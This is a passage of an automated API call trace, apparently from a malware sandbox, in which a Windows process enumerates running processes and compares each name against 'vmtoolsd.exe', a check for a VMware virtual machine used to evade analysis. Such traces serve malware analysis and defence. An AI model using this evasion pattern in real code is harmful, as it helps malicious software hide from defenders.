0xeaf418 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf298 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0133.525] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0133.525] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0133.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dwm.exe", cchCount1=7, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.526] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0133.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0133.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0133.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0133.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0133.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0133.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.529] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3368 [0133.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3368 | out: hHeap=0xe80000) returned 1 [0133.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0133.530] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0133.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0133.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0133.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0133.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0133.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0133.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3368 [0133.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3368 | out: hHeap=0xe80000) returned 1 [0133.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0133.534] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf258 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0133.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0133.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0133.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0133.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0133.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0133.539] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3170 [0133.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.540] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3170 | out: hHeap=0xe80000) returned 1 [0133.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.540] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.544] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.546] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.547] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.548] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spoolsv.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.549] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0133.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sihost.exe", cchCount1=10, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.603] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0133.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RuntimeBroker.exe", cchCount1=17, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.605] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.606] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="explorer.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.607] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0133.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ShellExperienceHost.exe", cchCount1=23, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.608] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0133.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SearchUI.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.609] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="taskhostw.exe", cchCount1=13, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.610] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0133.611] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dllhost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.611] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.612] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0133.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WMIADAP.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.613] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="backgroundTaskHost.exe", cchCount1=22, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.614] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="backgroundTaskHost.exe", cchCount1=22, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.615] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.616] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WmiPrvSE.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.616] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iexplore.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.620] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="magazine.exe")) returned 1 [0133.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="magazine.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.622] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="run-service-who.exe")) returned 1 [0133.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="run-service-who.exe", cchCount1=19, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.623] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="better.exe")) returned 1 [0133.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="better.exe", cchCount1=10, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.624] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="big.exe")) returned 1 [0133.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 